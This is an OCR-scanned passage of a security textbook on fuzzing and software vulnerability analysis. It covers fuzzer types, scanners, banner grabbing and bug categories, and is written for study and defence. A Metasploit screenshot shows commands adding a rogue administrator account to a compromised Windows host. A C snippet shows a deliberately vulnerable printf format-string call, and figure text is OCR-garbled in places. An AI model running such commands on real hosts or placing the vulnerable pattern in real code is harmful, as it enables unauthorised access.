then, many one-off fuzzers and technology proof-of-concepts have used advanced
techniques like evolutionary and genetic algorithms together with code coverage
data to overcome the weaknesses of traditional fuzzing. Major leap in usability of
advanced fuzzing tools occurred when Michal Zalewski released AFL, a security-
oriented fuzzer that leverages compile-time instrumentation and genetic algorithms
to discover test cases that trigger new code paths. Techniques used in AFL were not
actually new, but AFL was the first tool to combine those in to a simple to use tool
that could be used by people without in-depth technical understanding. Soon after
AFL, LLVM libFuzzer was released. LibFuzzer uses similar approach than AFL, but
it is more focused on performance and fuzzing of smaller software components like
libraries. Both AFL and libFuzzer are also explained in more detail at Chapter 7.

Before coverage guided fuzzers, continuous fuzzing in large scale was not very
practical. Traditional fuzzer would exhaust its pool of unique test cases eventually
and without manual adjustment the fuzzing would turn into regression testing with
a possibility of missing any new code introduced to the system. After effective cover-
age guided tools we introduced, a new generation of fuzzing services has emerged.
Services like Microsoft’s Project Springfield and Google’s OSS-fuzz use coverage
guided fuzzers together with cloud infrastructure scaling capabilities to execute a
large scale parallel fuzzing.

21QUSPG has conducted research in the security space since 1996. www.ee.oulu.fi/research/ouspg.
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1.3.2 Fuzzing Overview

To begin, we would like to clearly define the type of testing we are discussing in
this book. This is somewhat difficult because no one group perfectly agrees on the
definitions related to fuzzing. The key concept of this book is that of black-box or
grey-box testing: delivering input to the software through different communication
interfaces with no or very little knowledge of the internal operations of the system
under test. Fuzzing is a black-box testing technique in which the system under test
is stressed with unexpected inputs and data structures through external interfaces.

Fuzzing is also all about negative testing, as opposed to feature testing (also
called conformance testing) or performance testing (also called load testing). In
negative testing, unexpected or semi-valid inputs or sequences of inputs are sent to
the tested interfaces, instead of the proper data expected by the processing code. The
purpose of fuzzing is to find security-related defects, or any critical flaws leading
to denial of service, degradation of service, or other undesired behavior. In short,
fuzzing or fuzz testing is a negative software testing method that feeds malformed
and unexpected input data to a program, device, or system.

Programs and frameworks that are used to create fuzz tests or perform fuzz test-
ing are commonly called fuzzers. During the last two decades, fuzzing has gradually
developed from a niche technique toward a full testing discipline with support from
both the security research and traditional QA testing communities.

Sometimes other terms are used to describe tests similar to fuzzing. Some of
these terms include

» Negative testing;

* Protocol mutation;
* Robustness testing;
+ Syntax testing;

+ Fault injection;
 Rainy-day testing;
* Dirty testing.

Traditionally, terms such as negative testing or robustness testing have been
used mainly by people involved with software development and QA testing, and
the word fuzzing was used in the software security field. There has always been
some overlap, and today both groups use both terms, although hackers tend to use
the testing related terminology a lot less frequently. Testing terms and requirements
in relation to fuzzing have always carried a notion of structure, determinism, and
repeatability. The constant flood of zero-day exploits has proved that traditional
functional testing is insufficient. Fuzzing was first born out of the more affordable,
and curious, world of randomness. Wild test cases tended to find bugs overlooked
in the traditional development and testing processes. This is because such randomly
chosen test data, or inputs, do not make any assumptions for the operation of the
software, for better or worse. Fuzzing has one goal, and one goal only: to crash the
system; to stimulate a multitude of inputs aimed to find any reliability or robust-
ness flaws in the software. For the security people, the secondary goal is to analyze
those found flaws for exploitability.
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1.3.3 Vulnerabilities Found with Fuzzing

Vulnerabilities are created in various phases of the SDLC: specification, manufactur-
ing, and deployment (Figure 1.8). Issues created in the specification or design phase
are fundamental flaws that are very difficult to fix. Manufacturing defects are cre-
ated by bad practices and mistakes in implementing a product. Finally, deployment
flaws are caused by default settings and bad documentation on how the product
can be deployed securely.

Looking at these phases, and analyzing them from the experience gained with
known mistakes, we can see that implementation mistakes prevail. More than 70%
of modern security vulnerabilities are programming flaws, with only less than 10%
being configuration issues, and about 20% being design issues. Over 80% of com-
munication software implementations today are vulnerable to implementation-level
security flaws. For example, 25 out of 30 Bluetooth implementations crashed when
they were tested with Bluetooth fuzzing tools.?? Also, results from the PROTOS
research project indicate that over 80% of all tested products failed with fuzz tests
around WAP, VoIP, LDAP, and SNMP.23

Fuzzing tools used as part of the SDLC are proactive, which makes them the best
solution for finding zero-day flaws. Reactive tools such as security or vulnerability
scanners fail to do that, because they are based on knowledge of previously found
vulnerabilities. Reactive tools only test or protect widely used products from major
vendors, but fuzzers can test any product for similar problems. With fuzzing you
can test the security of any process, service, device, system, or network, no matter
what exact interfaces it supports.

Figure 1.8 Various phases in the SDLC in which vulnerabilities are introduced.

22Ari Takanen and Sami Petijisoja, “Assuring the Robustness and Security of New Wireless Tech-
nologies.” Paper and presentation. ISSE 2007, Sept. 27, 2007. Warsaw, Poland.
23PROTOS project. www.ee.oulu.fi/protos.
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1.3.4 Fuzzer Types

Fuzzers can be categorized based on two different criteria:

1. Injection vector or attack vector.
2. Test case complexity.

Fuzzers can be divided based on the application area where they can be used,
basically according to the attack vectors that they support. Different fuzzers target
different injection vectors, although some fuzzers are more or less general-purpose
frameworks. Fuzzing is a black-box testing technique, but there are several doors
into each black box (Figure 1.9). Note also that some fuzzers are meant for client-
side testing, and others for server-side testing. A client-side test for HTTP or TLS
will target browser software; similarly, server-side tests may test a Web server. Some
fuzzers support testing both servers and clients, or even middleboxes that simply
proxy, forward, or analyze passing protocol traffic.

Fuzzers can also be categorized based on test case complexity. The tests gener-
ated in fuzzing can target various layers in the target software, and different test
cases penetrate different layers in the application logic (Figure 1.10). Fuzzers that
change various values in protocol fields will test for flaws like overflows and integer
problems. When the message structure is anomalized, the fuzzer will find flaws in
message parses (e.g., XML and ASN.1). Finally, when message sequences are fuzzed,
the actual state machine can be deadlocked or crashed. Software has separate lay-
ers for decoding, syntax validation, and semantic validation (correctness of field
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Figure 1.9 Attack vectors at multiple system levels.
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Figure 1.10 Different types of anomalies and different resulting failure modes.

values, state of receiver) and for performing the required state updates and output
generation (Figure 1.11). A random test will only scratch the surface, whereas a
highly complex protocol model that not only tests the message structures but also
message sequences will be able to test deeper into the application.
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Figure 1.11 Effectivity of a test case to penetrate the application logic.
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One example method of categorization is based on the test case complexity in
a fuzzer:

« Static and random template-based fuzzer: These fuzzers typically only test
simple request-response protocols, or file formats. There is no dynamic func-
tionality involved. Protocol awareness is close to zero.

* Block-based fuzzers: These fuzzers will implement basic structure for a simple
request-response protocol and can contain some rudimentary dynamic func-
tionality such as calculation of checksums and length values.

« Dynamic generation or evolution based fuzzers: These fuzzers do not neces-
sarily understand the protocol or file format that is being fuzzed, but they
will learn it based on a feedback loop from the target system. They might or
might not break the message sequences.

» Model-based or simulation-based fuzzers: These fuzzers implement the tested
interface either through a model or a simulation, or they can also be full
implementations of a protocol. Not only message structures are fuzzed, but
also unexpected messages in sequences can be generated.

The effectiveness of fuzzing is based on how well it covers the input space of the
tested interface (input space coverage) and how good the representative malicious and
malformed inputs are for testing each element or structure within the tested inter-
face definition (quality of test data). Fuzzers that supply totally random characters
may yield some fruit but, in general, won’t find many bugs. It is generally accepted
that fuzzers that generate their inputs with random data are very inefficient and
can only find rather naive programming errors. As such, it is necessary for fuzzers
to become more complex if they hope to uncover such buried or hard to find bugs.
Very obscure bugs have been called second-generation bugs. They might involve,
for example, multipath vulnerabilities such as noninitialized stack or heap bugs.

Another dimension for categorizing fuzzers stems from whether they are model-
based. Compared with a static, nonstateful fuzzer that may not be able to simu-
late any protocol deeper than an initial packet, a fully model-based fuzzer is able
to test an interface more completely and thoroughly, usually proving much more
effective in discovering flaws in practice. A more simplistic fuzzer is unable to test
any interface very thoroughly, providing only limited test results and poor cover-
age. Static fuzzers may not be able to modify their outputs during runtime, and
therefore lack the ability to perform even rudimentary protocol operations such
as length or checksum calculations, cryptographic operations, copying structures
from incoming messages into outgoing traffic, or adapting to the exact capabilities
(protocol extensions, used profiles) of a particular system under test. In contrast,
model-based fuzzers can emulate a protocol or file format interface almost com-
pletely, allowing them to understand the inner workings of the tested interface and
perform any runtime calculations and other dynamic behaviors that are needed to
achieve full interoperability with the tested system. For this reason, tests executed
by a fully model-based fuzzer are usually able to penetrate much deeper within
the system under test, exercising the packet parsing and input handling routines
extremely thoroughly, and reaching all the way into the state machine and even
output generation routines, hence uncovering more vulnerabilities.
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1.3.5 Logical Structure of a Fuzzer

Modern fuzzers do not just focus solely on test generation. Fuzzers contain dif-
ferent functionalities and features that will help in both test automation and in
failure identification. The typical structure of a fuzzer can contain the following
functionalities (Figure 1.12).

+ Protocol modeler: For enabling the functionality related to various data for-
mats and message sequences. The simplest models are based on message tem-
plates, whereas more complex models may use context-free protocol grammars
or proprietary description languages to specify the tested interface and add
dynamic behavior to the model.

+ Anomaly library: Most fuzzers include collections of inputs known to trigger
vulnerabilities in software, whereas others just use random data.

« Attack simulation engine: Uses a library of attacks or anomalies, or learns
from one. The anomalies collected into the tool, or random modifications,
are applied to the model to generate the actual fuzz tests.

« Runtime analysis engine: Monitors the SUT. Various techniques can be
used to interact with the SUT and to instrument and control the target and
its environment.

 Reporting: The test results need to be prepared in a format that will help the
reporting of the found issues to developers or even third parties. Some tools do
not do any reporting, whereas others include complex bug reporting engines.

+ Documentation: A tool without user documentation is difficult to use. Espe-
cially in QA, there can also be requirement for test case documentation. Test

Att: ck \\
simulation
Anomaly
Library

Protocol gﬁr
model analysis
System
under test

Reporting

Figure 1.12 Generic structure of a fuzzer.
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case documentation can sometimes be used in reporting and can be dynami-
cally created instead of a static document.

1.3.6 Fuzzing Process

A simplified process of conducting a fuzz test consists of sequences of messages
(requests, responses, or files) being sent to the SUT. The resulting changes and
incoming messages can be analyzed, or in some cases they can be completely ignored
(Figure 1.13). Typical results of a fuzz test contain the following responses:

+ Valid response.

* Error response (may still be valid from a protocol standpoint).

» Anomalous response (unexpected but nonfatal reaction, such as slowdown
or responding with a corrupted message).

 Crash or other failure.

The process of fuzzing is not only about sending and receiving messages. Tests
are first generated and sent to the SUT. Monitoring of the target should be constant
and all failures should be caught and recorded for future evaluation. A critical part
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Figure 1.13 Example fuzz test cases and resulting responses from an SUT.
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of the fuzzing process is to monitor the executing code as it processes the unex-
pected input (Figure 1.14). Finally, a pass-fail criteria needs to be defined with the
ultimate goal being to perceive errors as they occur and store all knowledge for later
inspection. If all this can be automated, a fuzzer can have an infinite amount of
tests, and only the actual failure events need to be stored, and analyzed manually.

If failures were detected, the reason for the failure is often analyzed manu-
ally. That can require a thorough knowledge of the system and the capability to
debug the SUT using low-level debuggers. If the bug causing the failure appears to
be security-related, a vulnerability can be proved by means of an exploit. This is
not always necessary, if the tester understands the failure mode and can forecast
the probability and level of exploitability. No matter which post-fuzzing option is
taken, the deduction from failure to an individual defect, fixing the flaw, or poten-
tial exploit development task can often be equally expensive in terms of man-hours.

1.3.7 Fuzzing Frameworks and Test Suites

As discussed above, fuzzers can have varying levels of protocol knowledge. Going
beyond this idea, some fuzzers are implemented as fuzzing frameworks, which means
that they provide an end user with a platform for creating fuzz tests for arbitrary
protocols. Fuzzer frameworks typically require a considerable investment of time
and resources to model tests for a new interface, and if the framework does not
offer ready-made inputs for common structures and elements, efficient testing also
requires considerable expertise in designing inputs that are able to trigger faults in
the tested interface. Some fuzzing frameworks integrate user-contributed test mod-
ules back to the platform, bringing new tests within the reach of other users, but

Generate and deliver test I

Monitor application Emmm—

Error detected

Save pertinent data on failure e

Figure 1.14 Fuzzing process consisting of test case generation and system monitoring.
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for the most part fuzzing frameworks require new tests to always be implemented
from scratch. These factors can limit the accessibility, usability, and applicability
of fuzzing frameworks.

1.3.8 Fuzzing and the Enterprise

Not all software developer organizations and device manufacturers use any type of
fuzzing—although we all agree that they should. For many companies, fuzzing is
something that is looked at after all other testing needs have been fulfilled. What
should we do to motivate them to embrace fuzzing as part of their software devel-
opment process? One driving force in changing the testing priorities can be created
by using fuzzing tools in the enterprise environment.

The first action that enterprises could take is to require fuzzing in their procure-
ment practices and kick out the vendors who do not use fuzzing in R&D. Several
financial organizations and telecommunication service providers are already requir-
ing some proof of negative testing or fuzzing from their vendors. All end customers
of communication software have to stress the importance of security to the software
developers and to the device manufacturers.

The second step would be to outsource fuzz testing. Fuzzing should be an inte-
gral part of penetration testing services offered by both test automation companies
and security consultancies. But unfortunately only very few security experts today
truly understand fuzzing, and very few quality assurance people understand the
importance of negative testing.

The third and final step would be to make fuzzing tools more usable for enter-
prise users. Fuzzers should be easy to use by people who are not expert hackers. We
also need to educate the end users to the available measures to assess the security
of their critical system by themselves.

The people opposing the use of fuzzers in the enterprise environment use several
statements to discourage their use. For example, these misconceptions can include
the following statements.

* “You cannot fuzz in a live environment.” This is not true. Attackers will fuzz
the systems already, and proactive usage of fuzzing tools by system admin-
istrators can prepare an enterprise to withstand or at least understand the
risks of such attacks. Even in an enterprise environment, it is still possible to
fuzz selected systems and to mitigate its impact on business-critical services.

+ “Manufacturers can find all flaws with fuzzing.” This is also not true, because
the complexity of a total integrated system is always more than the sum of
the complexity of each item used. Manufacturers can never test all configu-
rations, nor can they integrate the systems with all possible other systems,
required middleware, and proprietary data. The actual environment will
always affect test results.

+ “Not our responsibility.” Many enterprises think vendors should be the only
ones testing their products and systems, not the end users or solution integra-
tors. This is definitely not true! Not using negative testing practices at every
possible phase when deploying critical systems can be considered negligency.
Although some more responsible vendors test their products nowadays with
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stringent fuzz tests, this is hardly the case for all vendors in the world. Even
though we all know vendors should do most of the testing, sadly there is still
much to improve when it comes to vendors’ attitudes toward preventing quality
problems. Since we know that not all vendors will be doing the testing, it is up
to the integrators and users to at least do a smoke test for the final systems.
If all fails, the systems and software should be sent back to the vendor, with
a recommendation to invest in fuzzing and secure development processes.

Despite what has been stated above, you do need to be extremely careful when
fuzzing a live system, as the testing process could crash your systems or corrupt
data. If you can afford it, build a mirror setup of your critical services for testing
purposes. Analyze your services from the attackers’ perspective via a thorough
analysis of the available attack vectors and by identifying the used protocols. You
can test your perimeter defenses separately or together with the service they are
trying to protect. You will be surprised at how many of your security solutions
actually contain security-related flaws. After testing the perimeter, go on to test
the reliability of your critical hosts and services without the protecting perimeter
defenses. If all appears to be fine in the test environment, then cross your fingers
and shoot the live system. But be prepared for crashes. Even if crashes occur, it is
better you cause them to occur, rather than a malicious attacker. You will probably
notice that a live system with live data will be more vulnerable to attacks than a
white-room test system with default configurations.

Book Goals and Layout

This book is about fuzzing in all forms. Today all fuzzing-related terms—such as
fuzzing, robustness testing, or negative black-box testing—have fused together in
such a way that when someone says he or she has created a new RPC fuzzer, DNS
robustness test suite, or a framework for creating negative tests against various file
formats, we do not know the exact methods that may be in use. Is it random or
systematic testing? Is it aimed at finding exploitable vulnerabilities or does it focus
on safety-related robustness flaws? Can it be used as part of software development,
or only against deployed systems? Our goal is to shed light on these mysteries.
Throughout the book, these terms may be used synonymously, and if a particular
connotation is implied, such will be indicated.

The purpose of this chapter was to give you an overview of fuzzing. In Chapter
2 we will look at fuzzing from the software vulnerability analysis (VA) perspective,
and later in Chapter 3 we will look at the same issues from the quality assurance
(QA) perspective. Chapter 4 will consider the business metrics related to fuzzing,
both from cost and effectiveness perspectives. Chapter 5 will attempt to describe
how various fuzzers can be categorized, with Chapter 6 identifying how the fuzz-
test generators can be augmented with different monitoring and instrumentation
techniques. Chapter 7 will provide an overview of current research, potentially
providing an indication where future fuzzers are going. Chapter 8 will provide an
independent fuzzer comparison, and Chapter 9 will present some sample use cases
of where fuzzing can and is being used today.
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Software Vulnerability Analysis

Although fuzzing can be used for other purposes, it is mainly a method for analyz-
ing software for vulnerabilities. Therefore, it is useful to start our book by looking
at the traditional methods used in software vulnerability analysis, or VA for short.

Software vulnerability analysis is the art and science of discovering security
problems or other weaknesses in software or systems. By security we mean anything
that might allow an intentional or unintentional breach of confidentiality, integrity,
or availability. The acronym CIA is commonly used for these basic principles or
security goals, and simply serves as a baseline for security requirements. A breach of
confidentiality can happen through any access to confidential data. Breach of integ-
rity, on the other hand, can mean modification of data even without its disclosure.
Availability problems are often realized in crashes of the server or client software,
or degradation of the service. Fuzzing can discover all these, although availability
problems are easiest to detect. When the vulnerability is a buffer overflow or any
other flaw that will enable execution of code in the target system, the result is often
a total compromise, resulting in loss of all these three security goals.

The actual bugs behind security vulnerabilities fall into more granular bins of
bug types. For example, a bug could involve misusing software, such as making free
calls when you should not be able to do so. In short, vulnerabilities are the result
of three kinds of flaws:

+ Implementation errors (e.g., overflows);
* Design flaws (e.g., weak authentication), missing authorization checks;
« Configuration errors or other system or network infrastructure errors.

It is worth noting that not all bugs or coding flaws result in a vulnerability; they
could be purely functional, such as a malfunctioning GUI or a miscalculation in a
spreadsheet application. For those bugs that do result in a vulnerability, a proof-of-
concept (POC) demonstration or a full-blown exploit can be used to prove that the
particular bug leads to a vulnerability and that that vulnerability can be exploited
in some manner. Development teams experienced with security flaws will gener-
ally fix bugs without requiring a proof-of-concept exploit.! Again, an exploit is a
means by which CIA is broken, often by demonstrating that it is possible to gain
unauthorized access to a host or network. Another example of a POC would be the

Note: Correctly labeling bugs as security problems is useful for system administration teams in their
efforts to prioritize or schedule the required patching cycles.
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2.1

denial of service (DoS) attack, whereby a computer resource is rendered unavailable
(or less available) to its intended users.

In this chapter we will discuss categories of bugs from a security perspective. We
will describe many different kinds of software bugs and how they can be exploited.
We will also explain how security vulnerabilities can be searched out in software,
and what defenses are available.

Purpose of Vulnerability Analysis

The purpose of vulnerability analysis is to find weaknesses, bugs, or flaws in a system
(breach of CIA). The term vulnerability analysis is often used to indicate network
auditing, such as a consultative professional penetration testing team might do.
That is, they might analyze a network for unpatched workstations, misconfigured
firewalls, improper logging, poor physical security, etc. This may also be called a
tiger team or red/blue team testing.? However, throughout this book vulnerability
analysis will generally indicate the review of an application’s security stance from
all possible perspectives.

2.1.1 Security and Vulnerability Scanners

Since the term vulnerability analysis can indicate red teaming or penetration testing
as described above, it is good to understand the tools that could be used for such
endeavors. These tools are typically called vulnerability scanners;® sometimes they
are referred to as security scanners. These tools are different than fuzzing tools.
Scanning tools are similar in functionality to signature-based virus scanning tools.

2.1.1.1 Nonexploitation Vulnerability Scanners

These tools have a preprogrammed set of application specific tests that they run.
For example, a tool like Nessus will

1. Portscan hosts in a configurable IP address range, using functionality similar
to a port scanning tool like nmap.

2. Based on that scan, the tool will make a guess about the operating system
(OS) and the applications running on the various open ports.

3. Based on these facts, it may run application specific tests targeted to the
identified service.

For example, suppose Nessus (shown in Figure 2.1) determines a host is running a
specific version of the Linux operating system based on the fingerprinting data of
the TCP/IP stack, and a port scan detects that TCP port 21 (FTP) is open and that
the server on that port acts like an old version of wu-ftpd. Based on this data, if it

’Red team and blue team testing are commonly used in the military. In vulnerability analysis, using
the term blue team indicates more access to the target system, such as source code, etc.
3A good list of vulnerability scanners can be found at http://sectools.org/vuln-scanners.html
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88 Tenable Nessus Vulnerability Scanner

® welcome

[@ Start Scan Task

& View Reports

= Manage Policies
@ Update Plugins
See Also

@ Help

@ About Nessus

Welcome to Nessus Vulnerability Scanner
Tenable Nessus Security Report - Windows Internet Explorer

—_——
ey~ Ie C:\Users\jared\Tenable\Nessus\reports\html\current_report.xml.view_by_host.xsl.htm

ﬁ e e Tenable Nessus Security Report | |

Other Options m E - Fraud monitoring is on
W Address Book filenet-tms x The remote statd service may be vulnerable to a format string attack.
(32768/udp)

This means that an attacker may execute arbitrary code thanks to a bug in
this daemon.

Only older versions of statd under Linux are affected by this problem.

Nessus reports this vulnerability using only information that was gathered.
Use caution when testing without safe checks enabled.

Solution: upgrade to the latest version of rpc.statd

Risk Factor : High

CVE : CVE-2000-0666, CVE-2000-0800

BID : 1480

Other references : IAVA:2000-b-0005, OSVDB:443
Plugin ID : 10544

Figure 2.1 A Nessus scan of an older fedora Linux computer.

has knowledge of known software flaws for that version of wu-ftpd, it may report
that a bug may exist.

Some people prefer this type of safe reporting based on passive probing, because
no hostile tests were actually sent to the target system, nor were any actual exploits
run to detect the potential vulnerability. Of course, if the results of the test are
simply based on banner grabbing, this could easily be a false positive. The simple
technique of banner grabbing performs a network read of data sent by a server or
client. For example, in the FTP server case:

1. This can be manually done via a tool like netcat.* Run a command such as
this: “nc <IPaddress> <port>” to the target host.

2. The FTP server should send back its banner, something like this: “220
(vsFTPd 2.0.4).” This is shown in Figure 2.2.

Note that, unlike fuzzing, this type of scanning will not uncover unknown
vulnerabilities in systems. It only reports on vulnerabilities it is configured to know
about, those that are included in its database.

2.1.1.2 Exploitation Scanners/Frameworks

The main problem with banner grabbing is that these ASCII text banners returned
by the server software can be easily modified by a network administrator to fool
such scanning attempts. Hackers might even be tricked into sending exploits at a

“The original version of netcat was released by Hobbit in 1995. Today various versions are available for
different Unix flavors. One variant, the GNU Netcat is available here: http://netcat.sourceforge.net/.
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(B8 Administrator: Command Prompt - nc 192.168.0.104 21

C:\Users\jared>nc 192.168.0.104 21
220 (vsFTPd 2.0.4)

Figure 2.2 Example of banner grabbing via the command line IP utility netcat.

patched target. System administrators may use this to try to identify network intrud-
ers or compromised hosts, and researchers may use this to find out about the latest
attacks in use by people with malicious intent.

At any rate, some penetration tests may have the elevated requirement to prove
that such hosts are in fact vulnerable by running actual exploits. If such is the case, a
tool like Core Impact, Metasploit, or Canvas can be used. These attack frameworks
come loaded with live attacks, varying shellcodes (bits of code that run inside the
vulnerable process to help exploit a host), debugging, and stealth.

Figure 2.3 shows the Metasploit framework in action. A Windows 2000 server
gets PWNED (hacker verbiage for compromised) by a VNC vulnerability.

Another important factor with these products is the ability to pivot, which
means that after exploiting a vulnerability on one host, it is able to then use that
host as a new launch point. This is a very realistic method for penetration testers,
as most attackers use one vulnerable host as a stepping-stone to further penetrate
a network or to gather more information.

People Conducting Vulnerability Analysis

Various people and organizations around the world audit software. They may do
this for quality assurance reasons, as third-party auditors, or as hackers looking
to find bugs for fun or for profit. Many terms exist for individuals who search for
vulnerabilities in software:

« Security researcher;

* Vulnerability researcher;

* Bug hunter;

* Penetration tester;

« Hacker;

* Cracker;

* Tester;

+ Security assurance engineer.

Some might use the terms synonymously, but typically there are differences.
For example, researchers are typically given more time per project than penetration
testers. Occasionally, researchers are self-employed or freelance. Penetration testers
were traditionally known for their expertise in Web auditing, but today are known
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Session Edit View Bookmarks Settings Help

7| @ shell

VNC: VNCShell [SYSTEM@VMWIN2000SP4] - Full Access

Welcome to Windows

Built on NT Technology

Press Ctrl-Alt-Delete to begin,

c:\>net user PUNED /ADD
The command completed successfully.

c:\>net localgroup administrators PUNED /ADD
The command completed successfully.

Figure 2.3 VNC injection example via Metasploit.

for being very broadly trained in security. In some areas, the term penetration tester
is reserved for formally trained professionals. Hackers could be employed or not, and
may or may not perform legal duties. Governments often employ the most skilled
of these categories to perform both offensive and defensive information missions.
Finally, testers work for companies attempting to produce high-quality software.
Rigorously testing proprietary software before it hits the streets will save companies
money and allow it to be deployed in critical situations. Skilled workers in all of
these categories can expect to draw above average salaries as such skills take years
of work experience and education to hone.

Although the mission of these groups varies greatly, the tools, techniques, and
technology are quite similar. Software companies may even try to recruit former
security researchers or hackers in an attempt to better secure their own products
before general release.

Most of the people who work with vulnerability analysis have a computer sci-
ence education and a passion for computer security. But for the most skilled hackers,
the following skills are fundamental requirements to being successful in the field:

« Knowledge of operating system internals;

+ C/C++ programming;

« Scripting with languages such as Perl/Python;

+ IP networking;

+ Reverse engineering;

+ Knowledge of assembly language of the target architecture;
+ Systems administration.



42

Software Vulnerability Analysis

If you wish to write your own low-level protocol fuzzers, then the same set of
requirements probably would apply to your job position. If, on the other hand, you
would only use existing tools, the requirements would be less stringent.

Below are some job descriptions of people who use the skills described in this
book to make a living.

2.2.1 Hackers

True hacking is a tough way to make a living these days, especially via legal means.
First, you need to find unique bugs in interesting products. Only a few years ago,
critical security bugs were easy to find even in big name products, but not so any
more. It is still possible, however. Today, there are more and more people looking,
and even most software developers have acquired tools that will help them in pro-
actively preventing such vulnerabilities in their products before hackers will get a
chance to find them.

When a hacker finally finds an interesting bug, he or she needs to sell it.> Various
security companies® will purchase verified bugs, and they will pay a premium for
big name bugs. Most of these companies will then report the problem to the vendor,
potentially selling it to them. Some of them also have an interest in knowing security
problems before anyone else knows them, as their main business can be in building
and selling vulnerability scanners or other security products. It is also possible to
try to auction the found vulnerabilities to the highest bidder at dedicated auction
sites. This might be more unethical, because you will lose control of where the data
ends up, and how it will be used. Yet another choice is to sell bugs to various gov-
ernment defense agencies.” Options and opinions will differ on this touchy subject.

It is also possible to earn money by illegal hacking activities. Cybercrime pos-
sibilities are as endless as the imagination. We obviously do not recommend that
route because

o It is immoral.
+ The police will eventually always catch you.

2.2.2 Vulnerability Analysts or Security Researchers

Vulnerability analyst and security researcher are fairly generic terms. These research-
ers generally either work for a consulting company and find bugs in customers’ prod-
ucts for them or do this for fun on their own time. Researchers who hunt bugs on
their own time, often look for vulnerabilities in software from vendors that have a
bug bounty program.® Bug bounty programs are public programs, often organized
by the software vendor, that offer reward for responsible disclosure of bugs.
There is no formal certification or single training required for such a position
although such individuals usually have boat loads of experience and education. A

SUnless, of course, if you plan to use it for illegal purposes.

¢For example, Zerodium (www.zerodium.com) and TippingPoint (www.zerodayinitiative.com).
http://weis2007.econinfosec.org/papers/29.pdf.
8https://pages.bugcrowd.com/hubfs/PDFs/state-of-bug-bounty-2016.pdf.
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single person who is employed to find bugs in various products can call him- or
herself these titles. These people could be working for a big name contractor looking
for bugs in customer source code via command-line tools” and source navigator. Or
they could be government employees performing some secret reverse engineering
assignments. They could also just be individuals, bug hunters who love to fuzz, or
people who have a bone to pick with a specific vendor and like to find problems
in those products. They could also be developers coding up the next generation of
Windows backdoors and everything in between. When someone says he or she is a
hacker, this is the likely definition (or vice versa). Security researchers often utilize
fuzzers in their work.

2.2.3 Penetration Testers

A penetration tester is traditionally someone who is hired to determine the strength
of the network, host, physical, and psychological security. A penetration tester will
generally be part of a team whose activities range from social engineering to break-
ing into the systems that they are authorized to test. The network testing portion
has become much easier with the advent of frameworks such as Metasploit, but it
is still a fine art that requires skill and knowledge in a vast array of subjects. Lately,
this term is reserved for professionally trained and certified experts.

2.2.4 Software Security Testers

This career path is growing in importance and prevalence in major software shops
around the nation. The goal is to improve security into companies’ development
process. A popular slogan is that security shouldn’t be glazed on after development,
but rather it should be baked in from the start. Testers are typically part of the qual-
ity assurance group and may have other testing requirements beyond just security,
depending on the size of the company. Testers will be discussed further in Chapter 3.

2.2.5 |IT Security Engineers

Working in information technology (IT) security in the corporate environment is a
bit different than say, being a reverse engineer for a defense contractor. In the latter
case you’re business support, while in the former case you are the business. As such,
an IT role tends to include ROI (return on investment) type business knowledge/
experience as well as technical skills. As an engineer, your technical skills (and,
of course, some people skills) are really all that matter unless you decide to move
into management.

The other major difference would be dealing with users. In the past there was a
misconception that most security failures were due to uninformed or careless users.
This is not always the case, although user education is a big part of a corporate

9The ‘grep’ utility is the best known tool for searching for specific strings in text-based data, such
as source code.
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23

24

security policy.!? So IT must deal with software failure, misconfigurations, users,
physical access problems, and more. This is why the CISSP and similar exams were
created to prove that a security specialist has knowledge of all domains.!! These
certifications are particularly important if you want to do corporate security con-
sulting (another great paying job, but typically involves a lot of travel).

Target Software

In testing, analyzing, fuzzing, hacking, or whatever, the target system, target soft-
ware, or target application is always the subject of interest. For example, if gftp.
exe is of interest to test for remotely exploitable bugs, the target would be the gftp.
exe binary or its source code.

Choosing the target is a trivial matter for software testers since they will always
be testing whatever software their company is producing. However, for bug hunters
the choice is a little more complex. Some bug hunters are given a free rein mission:
Go forth and find as many exploitable bugs in any products in use on the internet.

So which product should a bug hunter look at? Perhaps the bug hunters should
start with products they are interested in or already understand. For example, if
you have tools for auditing C code, are good at it, and have access to the code,
perhaps looking at something coded in C would be a good idea. Or if you like to
fuzz network servers when no source code is available and are familiar with clear
text protocols like FTP, SMTP, and IMAP, perhaps they would be a good choice.
Another thing that the bug hunter could consider is the possibility of finding a
vulnerability versus the payout if a vulnerability is found. It is less likely to find a
vulnerability from a widely used commercial product, than from an unmaintained
project from GitHub, but a serious vulnerability from a commercial product could
reach news headlines worldwide.

Basic Bug Categories

Once a target is selected, it pays to know what kind of bugs are out there to find.
There are many types of bugs to be found in software. Many can be uncovered with
fuzzers, particularly those of the memory corruption variety. Many of the bugs/
attacks will be briefly described below. Keep in mind that whole papers have been
written on the specifics of each bug and the intricacies of exploitation, and this is
intended only as an overview.

2.41 Memory Corruption Errors

Memory corruption errors have been the most prevalent and effective method
for maliciously exploiting a remote or local computer system. If memory can be

0For more information on creating a security policy see http://www.sans.org/security-resources/
policies.
"For more information on the 10 security domains, see https://www.isc2.org/cissp-domains/.
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corrupted (a return address, the GOT, SEH pointer, function pointer, etc.) often
execution can be redirected to attacker supplied code.

The words buffer overflow are common in the security field and are generally
understood to mean “bad things are happening”. While this is true, it’s not precise.
For example, a static buffer on the stack can be overrun, or a buffer allocated in the
heap could be overrun. Both are overflows or buffer overflows. Both are tradition-
ally exploitable. However, one was a stack overflow, and the other a heap overflow.
We’ll define each to achieve an appreciation for the variety of bug types. A basic
understanding of how to exploit each type will be discussed as well.

2.41.1 Stack Overflows

A stack overflow involves memory on the stack getting corrupted due to improper
bounds checking when a memory write operation takes place. A simple snippet of
C demonstrates this concept (Figures 2.4 and 2.5).

Granted this example is shown on Vista, so this bug could not actually be
exploited beyond a denial of service due to Microsoft’s recent security enhance-
ments (more on that later). But other stack overflow scenarios or this code on older
platforms could be exploited to execute malicious code provided by the attacker.

2.41.2 Format String Errors

The format string bug was big in the late 1990s when it was first discovered. It has
since gone out of style since it is so easily detected by static analysis (source code
auditing) tools and the underlying libraries have eliminated the easy to exploit for-
mat strings. The names format string bug, format string vulnerability, or FSE (for-
mat string exceptions) stem from two things: the functions in which the bugs can
happen (printf() type functions) and the format characters that are used to create
output. For example, a valid snippet of code would be

printf(“%s”, user_supplied_buff);
But an invalid usage would be

f##include <stdio.h>

Int my_format_func(char * buff)

| printf(buff);

int main(int argc, char * argv[])
{ my_format_func(argv[1]);

}

When programmers made such mistakes, they were overlooked or thought harm-
less because the application still executed as intended. If you compile this example, it
is interesting to see that when a %x is supplied as the argument to this program, the
data printed is not a %x as you might expect. Something like “bfc07d10” is returned.
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Microsoft Visual Studio
